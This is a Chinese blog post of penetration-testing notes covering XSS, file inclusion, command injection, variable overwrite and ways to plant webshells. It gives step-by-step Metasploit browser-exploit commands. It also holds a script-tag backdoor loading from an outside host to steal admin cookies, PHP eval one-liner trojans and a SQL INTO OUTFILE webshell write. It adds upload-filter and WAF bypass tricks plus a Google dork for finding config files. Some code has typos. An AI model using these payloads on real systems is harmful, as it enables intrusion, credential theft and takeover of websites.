1. 程式人生 > >基礎滲透測試筆記二

基礎滲透測試筆記二

php內核 ret 服務器 value pass 其中 tput 類型 outfile

xss跨站漏洞純手打筆記(基礎)

XSS漏洞掃描 常用工具: wvs 椰樹 safe3 Xelenium w3af vega xss掃描插件+burp Beef: beef+msf拿客戶端shell(ie6 xp) use windows/browser/ms10_002_aurora set PAYLOAD windows/meterpreter/reverse_tvp PAYLOAD =>wondows/meterpreter/reverse_tcp set SRVHOST (my ip) set SRVPORT 7777 set URIPTH / set LHOST(MY IP) set LPORT 4444(端口) cxploit beef+msf拿客戶端shell(ie7.8.9) use exploit windows/browser/ie_execcommand_uaf show options set SRVHOST (my ip) set SRVPORT 8888(端口) set URIPATH / cxploit 留後門: </textarea>‘"><script src=http://webxss.cn/1kDF43?1444052356></script>;; 寫入管理員登錄頁面 永久劫持管理員cookie xss平臺搭建: 使用工具: wamp2.2+xss.me源碼 文件包含漏洞:利用條件 1.include()等函數通過變量的方式引入需要包含的文件 2.用戶能控制該動態變量 文件包含漏洞是代碼註入的一種,原理就是註入一段用戶能控xx 制的腳本或代碼,並讓服務器端執行,代碼註入的典型代表就 是文件包含file inclusion。文件包含可能會出現在jsp php asp等語言中,常見的導致文件包含的函數如下: php: include(),include_once(),require(),require_once (),fopen(),readfile()..... 當使用者4個函數包含一個新文件時,該文件將作為php代碼執 行,php內核並不在意該被包含的文件是什麽類型,<?php $test=$_GET["x"];inxlude($test);?>保存為include.php 在同一個目錄下創建為test.tst內容為<?php phpinfo()?> 訪問測試//http://127.0.0.1/test/include.php?c=test.txt 訪問鏈接,將xx.txt傳送給c並賦予test變量 遠程文件包含: 如果php的配置選項allow_url_include為on,則 include/require函數是可以加載遠程文件的,這種漏洞被稱 為遠程漏洞(RFI) 代碼: <?php$test=$_GET["c"];include($test);?> 保存為 include.php 訪問測試//http://127.0.0.1/test/include.php? c=http://mysqlmap.sql.com/xx.txt JSP/Servlet:ava.io.file(),java.io.filereader().... ASP:include file,include virtual.... 本地文件包含漏洞利用技巧: 1.包含用戶上傳的文件 用戶上傳的文件內容中如果包含了php代碼,那麽這些代碼被 include()加載後將會被執行 2.包含日誌文件,比如Web Server的access Log. 同過構造與句讓服務器報錯並將一句話雖報錯信息寫入日誌, 找到日誌文件,用菜刀鏈接,拿下網站。 3.包含data://或者php://input等偽協議 4.包含了Session文件 實驗:ekucms2.5》制作錯誤,寫入一句話木馬》 http://127.0.0.1ekucms/index.php?s=my/show/id/{~eval ($_POST[x])} 命令註入漏洞: php命令執行函數: 在php中可以使用下列5個函數來執行外部的應用程序或函數 1.system:執行一個外部的應用程序並顯示輸出的結果 system函數: 原型:string system(string command,int &return_var) 其中,command 是要執行命令, return_var存放執行命令的執行後的狀態值 同樣,構造php代碼如下: <?php $cmd = $_GET["cmd"]echo"<pre>";system ($cmd);echo"</pre>";?> 在瀏覽器中訪問這個php文件,並提交cmd的內容為"net start" 黑客目的是通過命令註入攻擊查看web服務器主機都開啟了那些服務 2.exec:執行一個外部的的應用程序 函數原型如下: string exec (string command,array &output,int &return_var)其中,command是執行的命令,output是獲得執行 命令輸出的每一行字符串,returm——var存放執行命令後的狀態值 構造php代碼如下: <?php $x=$_GET["x"];echo shell_exec($x);?> 3.passthru:執行一個UNIX系統命令並顯示原始的輸出 Passthru函數以用來執行一個UNIX系統命令並顯示原始的輸出 當unix系統命令的輸出是二進制的數據,並且需要直接返回 值給瀏覽器時,需要使用passthru函數來代替system與exec函數。 passthru函數原型如下: void passthru (string command,nit &returm_var) 其中,command是要執行的命令,returm_var存放執行命令後的狀態值 構造php代碼如下: <? $cmd = $_GET["cmd"]echo"<pre>";system ($cmd);echo"</pre>";?> 4.shell_exec:執行shell命令並返回輸出的結果的字符串 函數原型如下: string shell_exec(string command) 其中,command是要執行的命令 代碼如下: <? $cmd = $_GET["cmd"];echo "<pre>";sehll_exec ($cmd);echo "</pre>";?> 5. "‘‘"運算符:與shell_exec函數的功能相同 變量覆蓋漏洞: 產生:變量如果沒有初始化,而且能被用戶控制, 在php中,若register_globals為on(啟用)時非常嚴重 此為全局變量覆蓋漏洞 代碼: <?php $x="xxx"; $y="seven"; echon $x; echon "<hr>"; echon $y; echon "<hr>"; $y=$_GET["x"]; echon $y ?> 下載漏洞: 利用:通過蜘蛛爬行,找到該url,下載 conn.asp config.php config.asp db.ndb (谷歌黑客:/down.asp?fileup=) webshell: 爆破webshll密碼: burpsuite webshell密碼爆破器 拿webshell方法總結: 管理權限拿: 14種常見的: 1.正常上傳:網站對上傳文件後綴格式並為過濾,直接上傳webshell就可以。(不限制上傳類型,可隨意上傳偽裝的木馬) 2.數據庫備份拿:網站對上傳的文件後綴進行過濾,不允許上傳腳本類型文件,如:asp php jsp aspx等。而網站具有數據庫備份功能,這時我們就可以將webshell格式先改為允許上傳的文件格式如:jpg gif等。然後,我們找到上傳後的文件路徑,通過數據庫備份,將文件備份改為腳本格式。 3.本地js驗證突破拿webshell:當網站設置了js來限制文件類型時,我們可以通過刪除js驗證或者修改上傳類型突破上傳拿webshell,使用burpsuite或者fiddle 等代理工具提交,本地文件先改為jpg,上傳時攔截,在把文件擴展名改為asp或者php即可。 4.上傳其他腳本類型拿webshell:這種類型用於一臺服務器具有多個網站,a網站是asp的站,b可能是php的站,a中限制了上傳文件類型為asp的文件,你可以嘗試上傳php的腳本來拿webshell。 5.(和編輯器配合)利用解析漏洞拿wbeshell:(常見的編輯器fckeditor,ewebeditor,cheditor) IIS 5.x/6.0解析漏洞 IIS 7.0/IIS 7.5/ Nginx <8.03畸形漏洞 Nginx <8.03 空子節代碼執行漏洞 Apache解析漏洞 6.網站配置插馬拿webshell:通過找到網站默認配置,講一句話查到網站配置中,不過為了能成功執行插馬,建議先下載該網站源碼,進行查看源碼過濾規則,防止插馬失敗; "%><%eval request("hydra")%><%"(閉合一句話) 7.通過編輯模板拿webshell:通過網站的模板進行編輯寫入一句話,然後生存腳本文件拿webshell,或者通過將木馬添加到壓縮文件,把名字改為網站模板類型,上傳到網站服務器,拿webshell。(有的網站可以修改添加腳本文件,直接拿swebshell) 8.數據庫命令執行拿webshell:可以通過phpmyadmin登錄數據庫命令來寫一句話拿webshell。 Hydra TABLE study (cmd text NOT NULL) Insert INTO study (cmd) VALUES(‘<?php eval ($_POST[cmd])?>‘) select cmd feom study into outfile‘D:/php/www.htdocs/test/seven.php‘ Drop TABLE IF EXISTS study 9.通過靜態頁面拿webshell:通過對網站的模板進行編輯寫入一句話,然後生成腳本文件拿 也通過將木馬添加到壓縮文件,把名字改為網站模板類型上傳到網站服務器拿 10.(上傳特殊馬拿webshell:一些網站安裝了waf安全狗,360,我們可以通過上傳一些免殺馬,變形馬來進行突破封殺。)文件包含拿webshell:先將webshell改為txt文件上傳,然後上傳一個腳本文件包含該txt文件,可以繞過waf, asp包含:<!--#indude file="xx.jpg"--> 調用的文件必須和被調用文件在同一目錄,否則找不到,繞過在不同的目錄下,用下面的語句:<!--#indude virtual="文件所在目錄/xx.jpg"> php包含: <?php indude("xx.jpg"); ?> 普通權限拿webshell: 1.0day拿webshell:這個不多說。可以去網上搜索一些,比如你找到你搞的網站cms是discz的,你可以搜索一些相關0day直接拿 2.修改網站上傳類型配置拿webshell:有的網站,在網站上傳類型中限制了上傳腳本類型文件,我們可以通過添加文件上傳類型,如天劍 asp php jpg aspx asa來拿webshell。(非常老的方法不過有的網站還是存在。如果運氣好可以碰到) 3.IIS寫權限拿webshell:比較少見,有專門的利用工具,原理是通過找到有iis寫入權限的網站,put進去一個txt的文件,目錄必須有刻寫的權限,如image文件夾,然後通過move方法,把txt格式的木馬move成腳本格式,如一開始上傳的是xx.txt move成xx.asp。 4.通過遠程命令執行拿webshell:關於命令執行,php程序相對來說比較多見,可以通過執行一些系統命令進行拿webshell。 5.strusts2拿webshell:網上有工具可以直接拿。(這種漏洞鳳毛菱角,幾乎滅絕了) 6.通過用戶頭像上傳拿webshell(Ps:需要抓包改包):用戶註冊後有些網站可以上傳圖片,附件,文件等,可以利用上傳拿webshell。 7.通過註入漏洞拿webshell:要有足夠的權限,對寫入木馬的文件夾有寫入權限,知道網站絕對路徑。 對於MySQL註入漏洞網站可以通過log備份,差異備份拿webshell。也可以通過into file 函數將一句話木馬寫入拿webshell,還可以利用phpmyadmin 將木馬導出拿webshell。

技術分享

基礎滲透測試筆記二